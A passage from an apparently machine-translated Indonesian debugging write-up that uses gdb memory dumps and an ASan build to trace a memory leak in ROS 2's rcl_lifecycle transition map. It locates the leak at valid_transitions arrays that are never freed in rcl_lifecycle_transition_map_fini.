0x617000004c10: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c18: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c20: 0x40 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004c28: 0x06 0x00 0x00 0x00 0xff 0x7f 0x00 0x00
0x617000004c30: 0x40 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c38: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c40: 0x40 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004c48: 0x07 0x00 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c50: 0x60 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c58: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c60: 0x80 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004c68: 0x32 0x00 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c70: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c78: 0x80 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c80: 0xc0 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004c88: 0x33 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004c90: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004c98: 0x80 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004ca0: 0x00 0x98 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004ca8: 0x34 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004cb0: 0xe0 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004cb8: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004cc0: 0x80 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004cc8: 0x3c 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004cd0: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004cd8: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004ce0: 0xc0 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x617000004ce8: 0x3d 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x617000004cf0: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x617000004cf8: 0x80 0x17 0x00 0x00 0x30 0x61 0x00 0x00
Transisi ada di bagian bawah, seperti yang diharapkan.
Sekarang mari kita periksa memori fungsi yang bocor:
(gdb) p state->valid_transition_size
$4 = 2
[Switching to thread 7 (Thread 0x7fb920bca700 (LWP 7487))](running)
[Switching to thread 7 (Thread 0x7fb920bca700 (LWP 7487))](running)
[Switching to thread 7 (Thread 0x7fb920bca700 (LWP 7487))](running)
[Switching to thread 7 (Thread 0x7fb920bca700 (LWP 7487))](running)
[Switching to thread 7 (Thread 0x7fb920bca700 (LWP 7487))](running)
(gdb) 32*2
Undefined command: "32". Try "help".
(gdb) p 32*2
$5 = 64
(gdb) x/64x 0x60300005fda0 # state-> valid_transitions
0x60300005fda0: 0x18 0x00 0x80 0x67 0xb9 0x7f 0x00 0x00
0x60300005fda8: 0x3c 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x60300005fdb0: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x60300005fdb8: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x60300005fdc0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x60300005fdc8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x60300005fdd0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x60300005fdd8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
bagian memori yang baru dibuat (diinisialisasi ke 0xbe)
(gdb) x/64x 0x606000046e20 # new_valid_transitions
0x606000046e20: 0x80 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x606000046e28: 0x3c 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x606000046e30: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x606000046e38: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x606000046e40: 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe
0x606000046e48: 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe
0x606000046e50: 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe
0x606000046e58: 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe
Setelah penugasan:
(gdb) x/64x 0x606000046e20 # state->valid_transitions
0x606000046e20: 0x80 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x606000046e28: 0x3c 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x606000046e30: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x606000046e38: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x606000046e40: 0xc0 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x606000046e48: 0x3d 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x606000046e50: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x606000046e58: 0x80 0x17 0x00 0x00 0x30 0x61 0x00 0x00
(gdb) p &transition
$6 = (rcl_lifecycle_transition_t *) 0x7fffeab22d90
(gdb) x/32x 0x7fffeab22d90 # transition
0x7fffeab22d90: 0xc0 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x7fffeab22d98: 0x3d 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffeab22da0: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x7fffeab22da8: 0x80 0x17 0x00 0x00 0x30 0x61 0x00 0x00
Sekarang untuk yang bocor:
Sebelum realokasi:
(gdb) x/96x 0x606000046e20 # state->valid_transition
0x606000046e20: 0x80 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x606000046e28: 0x3c 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x606000046e30: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x606000046e38: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x606000046e40: 0xc0 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x606000046e48: 0x3d 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x606000046e50: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x606000046e58: 0x80 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x606000046e60: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x606000046e68: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x606000046e70: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x606000046e78: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
Setelah mengalokasikan:
gdb) x/96x 0x60800002f7a0 # new_valid_transitions
0x60800002f7a0: 0x80 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x60800002f7a8: 0x3c 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x60800002f7b0: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x60800002f7b8: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x60800002f7c0: 0xc0 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x60800002f7c8: 0x3d 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x60800002f7d0: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x60800002f7d8: 0x80 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x60800002f7e0: 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe
0x60800002f7e8: 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe
0x60800002f7f0: 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe
0x60800002f7f8: 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe
setelah ditimpa:
(gdb) x/96x 0x60800002f7a0
0x60800002f7a0: 0x80 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x60800002f7a8: 0x3c 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x60800002f7b0: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x60800002f7b8: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x60800002f7c0: 0xc0 0x97 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x60800002f7c8: 0x3d 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x60800002f7d0: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x60800002f7d8: 0x80 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x60800002f7e0: 0x00 0x98 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x60800002f7e8: 0x3e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x60800002f7f0: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x60800002f7f8: 0x80 0x17 0x00 0x00 0x30 0x61 0x00 0x00
(gdb) p &transition
$7 = (rcl_lifecycle_transition_t *) 0x7fffeab22d90
(gdb) x/32x 0x7fffeab22d90
0x7fffeab22d90: 0x00 0x98 0xec 0x2c 0xb9 0x7f 0x00 0x00
0x7fffeab22d98: 0x3e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffeab22da0: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x7fffeab22da8: 0x80 0x17 0x00 0x00 0x30 0x61 0x00 0x00
Sejauh ini semuanya baik-baik saja. Sekarang mari kita lanjutkan ke tempat di mana memori dilepaskan dan periksa bagaimana state->valid_transitionspelepasannya untuk status pertama (tidak bocor) dan yang kedua (bocor).
Sebelum melakukannya, mari kita catat dulu alamat memori dari status terkait yang nantinya akan membantu men-debug semuanya dari transition_map. Hal ini relevan karena transition_mapmemiliki struktur berikut:
transition_map = {rcl_lifecycle_transition_map_t * | 0x613000001548} 0x613000001548
states = {rcl_lifecycle_state_t * | 0x613000001700} 0x613000001700
states_size = {unsigned int} 11
transitions = {rcl_lifecycle_transition_t * | 0x618000004c80} 0x618000004c80
transitions_size = {unsigned int} 25
Selain itu, setiap negara:
states = {rcl_lifecycle_state_t * | 0x613000001700} 0x613000001700
label = {const char * | 0x7fb92cec98e0} "unknown"
id = {unsigned int} 0
valid_transitions = {rcl_lifecycle_transition_t * | 0x0} NULL
valid_transition_size = {unsigned int} 0
Mari kita catat hal-hal yang terjadi pada kasus bocor dan tidak bocor. Berikut rencananya:
Capai non-kebocoran, tempatkan breakpoint di new_valid_transitions
Tentukan memori transition_map->statesdan transition_map->states->valid_transitionssimpanlah dengan mudah
Catat alamat negara bagian
Validasi bahwa status ada dalam transition_map
Struktur catatan negara mengambil perhatian khusus untukvalid_transitions
Menuju ke rcl_lifecycle_transition_map_finirilis memori dan debug
Mari kita jalankan:
transition_map = {rcl_lifecycle_transition_map_t * | 0x613000001548} 0x613000001548
states = {rcl_lifecycle_state_t * | 0x613000001700} 0x613000001700
states_size = {unsigned int} 11
transitions = {rcl_lifecycle_transition_t * | 0x617000004a00} 0x617000004a00
transitions_size = {unsigned int} 24
Mari kita cari tahu ukuran struktur dalam transition_map, khususnya, status:
(gdb) p sizeof(rcl_lifecycle_transition_map_t)
$1 = 32
(gdb) x/32b 0x613000001548
0x613000001548: 0x00 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x613000001550: 0x0b 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x613000001558: 0x00 0x4a 0x00 0x00 0x70 0x61 0x00 0x00
0x613000001560: 0x18 0x00 0x00 0x00 0x00 0x00 0x00 0x00
Ini sangat cocok dengan konten di atas, sekarang mari kita baca kembali ingatan tentang transition_map->states:
states = {rcl_lifecycle_state_t * | 0x613000001700} 0x613000001700
label = {const char * | 0x7f102f99c8e0} "unknown"
id = {unsigned int} 0
valid_transitions = {rcl_lifecycle_transition_t * | 0x0} NULL
valid_transition_size = {unsigned int} 0
(gdb) p sizeof(rcl_lifecycle_state_t)
$2 = 32
(gdb) p sizeof(rcl_lifecycle_state_t)*transition_map->states_size
$3 = 352
(gdb) x/352x transition_map->states
0x613000001700: 0xe0 0xc8 0x99 0x2f 0x10 0x7f 0x00 0x00
0x613000001708: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x613000001710: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x613000001718: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x613000001720: 0x20 0xc9 0x99 0x2f 0x10 0x7f 0x00 0x00
0x613000001728: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x613000001730: 0x00 0x6d 0x04 0x00 0x60 0x60 0x00 0x00
0x613000001738: 0x02 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x613000001740: 0x60 0xc9 0x99 0x2f 0x10 0x7f 0x00 0x00
0x613000001748: 0x02 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x613000001750: 0xa0 0xf6 0x02 0x00 0x80 0x60 0x00 0x00
0x613000001758: 0x03 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x613000001760: 0xa0 0xc9 0x99 0x2f 0x10 0x7f 0x00 0x00
0x613000001768: 0x03 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x613000001770: 0x60 0x6d 0x04 0x00 0x60 0x60 0x00 0x00
0x613000001778: 0x02 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x613000001780: 0xe0 0xc9 0x99 0x2f 0x10 0x7f 0x00 0x00
0x613000001788: 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x613000001790: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x613000001798: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6130000017a0: 0x00 0xcb 0x99 0x2f 0x10 0x7f 0x00 0x00
0x6130000017a8: 0x0a 0x00 0x00 0x00 0x30 0x61 0x00 0x00
0x6130000017b0: 0xa0 0xf4 0x02 0x00 0x80 0x60 0x00 0x00
0x6130000017b8: 0x03 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6130000017c0: 0x40 0xcb 0x99 0x2f 0x10 0x7f 0x00 0x00
0x6130000017c8: 0x0b 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6130000017d0: 0x20 0xf5 0x02 0x00 0x80 0x60 0x00 0x00
0x6130000017d8: 0x03 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6130000017e0: 0x80 0xcb 0x99 0x2f 0x10 0x7f 0x00 0x00
0x6130000017e8: 0x0c 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6130000017f0: 0x20 0xf7 0x02 0x00 0x80 0x60 0x00 0x00
0x6130000017f8: 0x03 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x613000001800: 0xc0 0xcb 0x99 0x2f 0x10 0x7f 0x00 0x00
0x613000001808: 0x0d 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x613000001810: 0xa0 0xf5 0x02 0x00 0x80 0x60 0x00 0x00
0x613000001818: 0x03 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x613000001820: 0x00 0xcc 0x99 0x2f 0x10 0x7f 0x00 0x00
0x613000001828: 0x0e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x613000001830: 0x20 0xf6 0x02 0x00 0x80 0x60 0x00 0x00
0x613000001838: 0x03 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x613000001840: 0x40 0xcc 0x99 0x2f 0x10 0x7f 0x00 0x00
0x613000001848: 0x0f 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x613000001850: 0xa0 0xfd 0x05 0x00 0x30 0x60 0x00 0x00
0x613000001858: 0x02 0x00 0x00 0x00 0x00 0x00 0x00 0x00
atau versi yang lebih pendek:
(gdb) p sizeof(rcl_lifecycle_state_t)*transition_map->states_size/4
$4 = 88
(gdb) x/88w transition_map->states
0x613000001700: 0x2f99c8e0 0x00007f10 0x00000000 0x00000000
0x613000001710: 0x00000000 0x00000000 0x00000000 0x00000000
0x613000001720: 0x2f99c920 0x00007f10 0x00000001 0x00000000
0x613000001730: 0x00046d00 0x00006060 0x00000002 0x00000000
0x613000001740: 0x2f99c960 0x00007f10 0x00000002 0x00000000
0x613000001750: 0x0002f6a0 0x00006080 0x00000003 0x00000000
0x613000001760: 0x2f99c9a0 0x00007f10 0x00000003 0x00000000
0x613000001770: 0x00046d60 0x00006060 0x00000002 0x00000000
0x613000001780: 0x2f99c9e0 0x00007f10 0x00000004 0x00000000
0x613000001790: 0x00000000 0x00000000 0x00000000 0x00000000
0x6130000017a0: 0x2f99cb00 0x00007f10 0x0000000a 0x00006130
0x6130000017b0: 0x0002f4a0 0x00006080 0x00000003 0x00000000
0x6130000017c0: 0x2f99cb40 0x00007f10 0x0000000b 0x00000000
0x6130000017d0: 0x0002f520 0x00006080 0x00000003 0x00000000
0x6130000017e0: 0x2f99cb80 0x00007f10 0x0000000c 0x00000000
0x6130000017f0: 0x0002f720 0x00006080 0x00000003 0x00000000
0x613000001800: 0x2f99cbc0 0x00007f10 0x0000000d 0x00000000
0x613000001810: 0x0002f5a0 0x00006080 0x00000003 0x00000000
0x613000001820: 0x2f99cc00 0x00007f10 0x0000000e 0x00000000
0x613000001830: 0x0002f620 0x00006080 0x00000003 0x00000000
0x613000001840: 0x2f99cc40 0x00007f10 0x0000000f 0x00000000
0x613000001850: 0x0005fda0 0x00006030 0x00000002 0x00000000
Sebenarnya memori di atas dapat diuraikan sebagai berikut dengan menggunakan variabel informasi:
transition_map = {rcl_lifecycle_transition_map_t * | 0x613000001548} 0x613000001548
states = {rcl_lifecycle_state_t * | 0x613000001700} 0x613000001700
label = {const char * | 0x7f102f99c8e0} "unknown"
id = {unsigned int} 0
valid_transitions = {rcl_lifecycle_transition_t * | 0x0} NULL
valid_transition_size = {unsigned int} 0
transition_map->states->label transition_map->states->id
0x613000001700: [0x2f99c8e0 0x00007f10] [0x00000000 0x00000000]
transition_map->states->valid_transitions transition_map->states->valid_transitions_size
0x613000001710: [0x00000000 0x00000000] [0x00000000 0x00000000]
...
Kembali ke contoh:
state = {rcl_lifecycle_state_t * | 0x613000001840} 0x613000001840
label = {const char * | 0x7f102f99cc40} "errorprocessing"
id = {unsigned int} 15
valid_transitions = {rcl_lifecycle_transition_t * | 0x60300005fda0} 0x60300005fda0
valid_transition_size = {unsigned int} 2
new_valid_transitions = {rcl_lifecycle_transition_t * | 0x606000046e20} 0x606000046e20
label = {const char * | 0x7f102f99c780} "transition_success"
id = {unsigned int} 60
start = {rcl_lifecycle_state_t * | 0x613000001840} 0x613000001840
goal = {rcl_lifecycle_state_t * | 0x613000001720} 0x613000001720
new_valid_transitionsmenunjuk ke 0x606000046e20sedangkan state->valid_transitionske 0x60300005fda0(keduanya harus cocok setelah fungsi). Terakhir, state menunjuk ke 0x613000001840.
Mari kita mulai dengan memvalidasi bahwa statememang ada di dalam transition_mapnegara bagian:
p sizeof(rcl_lifecycle_state_t)*transition_map->states_size/8
$15 = 44
(gdb) x/44g transition_map->states
0x613000001700: 0x00007f102f99c8e0 0x0000000000000000
0x613000001710: 0x0000000000000000 0x0000000000000000
0x613000001720: 0x00007f102f99c920 0x0000000000000001
0x613000001730: 0x0000606000046d00 0x0000000000000002
0x613000001740: 0x00007f102f99c960 0x0000000000000002
0x613000001750: 0x000060800002f6a0 0x0000000000000003
0x613000001760: 0x00007f102f99c9a0 0x0000000000000003
0x613000001770: 0x0000606000046d60 0x0000000000000002
0x613000001780: 0x00007f102f99c9e0 0x0000000000000004
0x613000001790: 0x0000000000000000 0x0000000000000000
0x6130000017a0: 0x00007f102f99cb00 0x000061300000000a
0x6130000017b0: 0x000060800002f4a0 0x0000000000000003
0x6130000017c0: 0x00007f102f99cb40 0x000000000000000b
0x6130000017d0: 0x000060800002f520 0x0000000000000003
0x6130000017e0: 0x00007f102f99cb80 0x000000000000000c
0x6130000017f0: 0x000060800002f720 0x0000000000000003
0x613000001800: 0x00007f102f99cbc0 0x000000000000000d
0x613000001810: 0x000060800002f5a0 0x0000000000000003
0x613000001820: 0x00007f102f99cc00 0x000000000000000e
0x613000001830: 0x000060800002f620 0x0000000000000003
0x613000001840: 0x00007f102f99cc40 0x000000000000000f
transition_map->states->valid_transitions
0x613000001850: [0x000060300005fda0] 0x0000000000000002
Setelah baris 139 di transition_map.c:
(gdb) x/44g transition_map->states
0x613000001700: 0x00007f102f99c8e0 0x0000000000000000
0x613000001710: 0x0000000000000000 0x0000000000000000
0x613000001720: 0x00007f102f99c920 0x0000000000000001
0x613000001730: 0x0000606000046d00 0x0000000000000002
0x613000001740: 0x00007f102f99c960 0x0000000000000002
0x613000001750: 0x000060800002f6a0 0x0000000000000003
0x613000001760: 0x00007f102f99c9a0 0x0000000000000003
0x613000001770: 0x0000606000046d60 0x0000000000000002
0x613000001780: 0x00007f102f99c9e0 0x0000000000000004
0x613000001790: 0x0000000000000000 0x0000000000000000
0x6130000017a0: 0x00007f102f99cb00 0x000061300000000a
0x6130000017b0: 0x000060800002f4a0 0x0000000000000003
0x6130000017c0: 0x00007f102f99cb40 0x000000000000000b
0x6130000017d0: 0x000060800002f520 0x0000000000000003
0x6130000017e0: 0x00007f102f99cb80 0x000000000000000c
0x6130000017f0: 0x000060800002f720 0x0000000000000003
0x613000001800: 0x00007f102f99cbc0 0x000000000000000d
0x613000001810: 0x000060800002f5a0 0x0000000000000003
0x613000001820: 0x00007f102f99cc00 0x000000000000000e
0x613000001830: 0x000060800002f620 0x0000000000000003
0x613000001840: 0x00007f102f99cc40 0x000000000000000f
transition_map->states->valid_transitions
0x613000001850: [0x0000606000046e20] 0x0000000000000002
Elemen tersebut tampaknya adalah yang terakhir ( elemen ke-11 atau [10]). Memori telah berubah untuk menunjuk ke new_valid_transitionsdan konten yang sekarang harus dibebaskan adalah:
(gdb) p transition_map->states[10]->valid_transition_size
$21 = 2
(gdb) p transition_map->states[10]->valid_transitions
$18 = (rcl_lifecycle_transition_t *) 0x606000046e20
(which matches with)
(gdb) p &transition_map->states[10]->valid_transitions[0]
$25 = (rcl_lifecycle_transition_t *) 0x606000046e20
(gdb) p &transition_map->states[10]->valid_transitions[1]
$26 = (rcl_lifecycle_transition_t *) 0x606000046e40
Mari kita lihat kasus bocor: - new_valid_transitions: 0x60800002f7a0- state->valid_transitions: 0x606000046e20(keduanya harus cocok setelah fungsi). - state:0x613000001840
Sebelum baris 139 di transition_map.c:
(gdb) x/44g transition_map->states
0x613000001700: 0x00007f102f99c8e0 0x0000000000000000
0x613000001710: 0x0000000000000000 0x0000000000000000
0x613000001720: 0x00007f102f99c920 0x0000000000000001
0x613000001730: 0x0000606000046d00 0x0000000000000002
0x613000001740: 0x00007f102f99c960 0x0000000000000002
0x613000001750: 0x000060800002f6a0 0x0000000000000003
0x613000001760: 0x00007f102f99c9a0 0x0000000000000003
0x613000001770: 0x0000606000046d60 0x0000000000000002
0x613000001780: 0x00007f102f99c9e0 0x0000000000000004
0x613000001790: 0x0000000000000000 0x0000000000000000
0x6130000017a0: 0x00007f102f99cb00 0x000061300000000a
0x6130000017b0: 0x000060800002f4a0 0x0000000000000003
0x6130000017c0: 0x00007f102f99cb40 0x000000000000000b
0x6130000017d0: 0x000060800002f520 0x0000000000000003
0x6130000017e0: 0x00007f102f99cb80 0x000000000000000c
0x6130000017f0: 0x000060800002f720 0x0000000000000003
0x613000001800: 0x00007f102f99cbc0 0x000000000000000d
0x613000001810: 0x000060800002f5a0 0x0000000000000003
0x613000001820: 0x00007f102f99cc00 0x000000000000000e
0x613000001830: 0x000060800002f620 0x0000000000000003
0x613000001840: 0x00007f102f99cc40 0x000000000000000f
0x613000001850: 0x0000606000046e20 0x0000000000000003
Setelah baris 139 di transition_map.c:
(gdb) x/44g transition_map->states
0x613000001700: 0x00007f102f99c8e0 0x0000000000000000
0x613000001710: 0x0000000000000000 0x0000000000000000
0x613000001720: 0x00007f102f99c920 0x0000000000000001
0x613000001730: 0x0000606000046d00 0x0000000000000002
0x613000001740: 0x00007f102f99c960 0x0000000000000002
0x613000001750: 0x000060800002f6a0 0x0000000000000003
0x613000001760: 0x00007f102f99c9a0 0x0000000000000003
0x613000001770: 0x0000606000046d60 0x0000000000000002
0x613000001780: 0x00007f102f99c9e0 0x0000000000000004
0x613000001790: 0x0000000000000000 0x0000000000000000
0x6130000017a0: 0x00007f102f99cb00 0x000061300000000a
0x6130000017b0: 0x000060800002f4a0 0x0000000000000003
0x6130000017c0: 0x00007f102f99cb40 0x000000000000000b
0x6130000017d0: 0x000060800002f520 0x0000000000000003
0x6130000017e0: 0x00007f102f99cb80 0x000000000000000c
0x6130000017f0: 0x000060800002f720 0x0000000000000003
0x613000001800: 0x00007f102f99cbc0 0x000000000000000d
0x613000001810: 0x000060800002f5a0 0x0000000000000003
0x613000001820: 0x00007f102f99cc00 0x000000000000000e
0x613000001830: 0x000060800002f620 0x0000000000000003
0x613000001840: 0x00007f102f99cc40 0x000000000000000f
0x613000001850: 0x000060800002f7a0 0x0000000000000003
Memang, sekarang menunjuk ke 0x60800002f7a0. Konten yang sekarang dibebaskan adalah:
(gdb) p transition_map->states[10]->valid_transition_size
$27 = 3
(gdb) p &transition_map->states[10]->valid_transitions[0]
$28 = (rcl_lifecycle_transition_t *) 0x60800002f7a0
(gdb) p &transition_map->states[10]->valid_transitions[1]
$29 = (rcl_lifecycle_transition_t *) 0x60800002f7c0
(gdb) p &transition_map->states[10]->valid_transitions[2]
$30 = (rcl_lifecycle_transition_t *) 0x60800002f7e0
Ini entah bagaimana cocok dengan:
(gdb) x/96b 0x000060800002f7a0
0x60800002f7a0: 0x80 0xc7 0x99 0x2f 0x10 0x7f 0x00 0x00
0x60800002f7a8: 0x3c 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x60800002f7b0: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x60800002f7b8: 0x20 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x60800002f7c0: 0xc0 0xc7 0x99 0x2f 0x10 0x7f 0x00 0x00
0x60800002f7c8: 0x3d 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x60800002f7d0: 0x40 0x18 0x00 0x00 0x30 0x61 0x00 0x00
0x60800002f7d8: 0x80 0x17 0x00 0x00 0x30 0x61 0x00 0x00
0x60800002f7e0: 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe
0x60800002f7e8: 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe
0x60800002f7f0: 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe
0x60800002f7f8: 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe
Bagus, jadi kembali ke rencana tindakan: - [x] Capai non-leaky, tempatkan breakpoint di new_valid_transitions - [x] Tentukan memori transition_map->statesdan transition_map->states->valid_transitionssimpan di tempat yang mudah dijangkau - [x] Catat alamat status - [x] Validasi bahwa status ada di dalam transition_map - [x] Catat struktur status dengan perhatian khusus untuk valid_transitions- [ ] Menuju ke rcl_lifecycle_transition_map_finidan debug pelepasan memori
Sekarang, kita perlu memeriksa apakah memori tersebut dibebaskan atau tidak (kita harapkan demikian pada kasus pertama). Sebelum melakukannya, mari buat tabel dengan kasus bocor/tidak bocor dan nilai yang paling relevan:
( Catatan, ini untuk iterasi pertama, yang terkait dengan nodes.push_back(rclcpp_lifecycle::LifecycleNode::make_shared("foo"));. Yang kedua akan memiliki nilai lain. )
Tidak bocor bocor
&transition_map->states[10]->valid_transitions[0] 0x0000606000046e20 0x000060800002f7a0
transition_map->states[10]->valid_transition_size 2 3
transition_map 0x613000001548 0x613000001548
Mari kita menuju ke transition_map.c:52 yang merupakan tempat rcl_lifecycle_transition_map_finilives. Fungsinya sendiri cukup mudah:
rcl_ret_t
rcl_lifecycle_transition_map_fini(
rcl_lifecycle_transition_map_t * transition_map,
const rcutils_allocator_t * allocator)
{
rcl_ret_t fcn_ret = RCL_RET_OK;
// free the primary states
allocator->deallocate(transition_map->states, allocator->state);
transition_map->states = NULL;
// free the tansitions
allocator->deallocate(transition_map->transitions, allocator->state);
transition_map->transitions = NULL;
return fcn_ret;
}
Tata letak untuk rcl_lifecycle_transition_map_fini
Tata letak untuk rcl_lifecycle_transition_map_fini
INTUISI PERTAMA : Tampaknya pengalokasi sedang membebaskan transition_map->statesdan transition_map->transitionsnamun, untuk transition_map->states, ia tidak melepaskan transition_map->states->valid_transitionsyang dialokasikan dan diisi secara dinamis.
Melihat lebih dekat ke allocator->deallocate(transition_map->states, allocator->state);:
static void
__default_deallocate(void * pointer, void * state)
{
RCUTILS_UNUSED(state);
free(pointer);
}
Mari kita perbaiki dan lihat bagaimana hasilnya.
colcon build --build-base=build-asan --install-base=install-asan \
--cmake-args -DOSRF_TESTING_TOOLS_CPP_DISABLE_MEMORY_TOOLS=ON \
-DINSTALL_EXAMPLES=OFF -DSECURITY=ON --no-warn-unused-cli \
-DCMAKE_BUILD_TYPE=Debug --mixin asan-gcc \
--symlink-install --packages-select rcl_lifecycle
Saat mengkompilasi ulang ruang kerja, hal aneh terjadi:
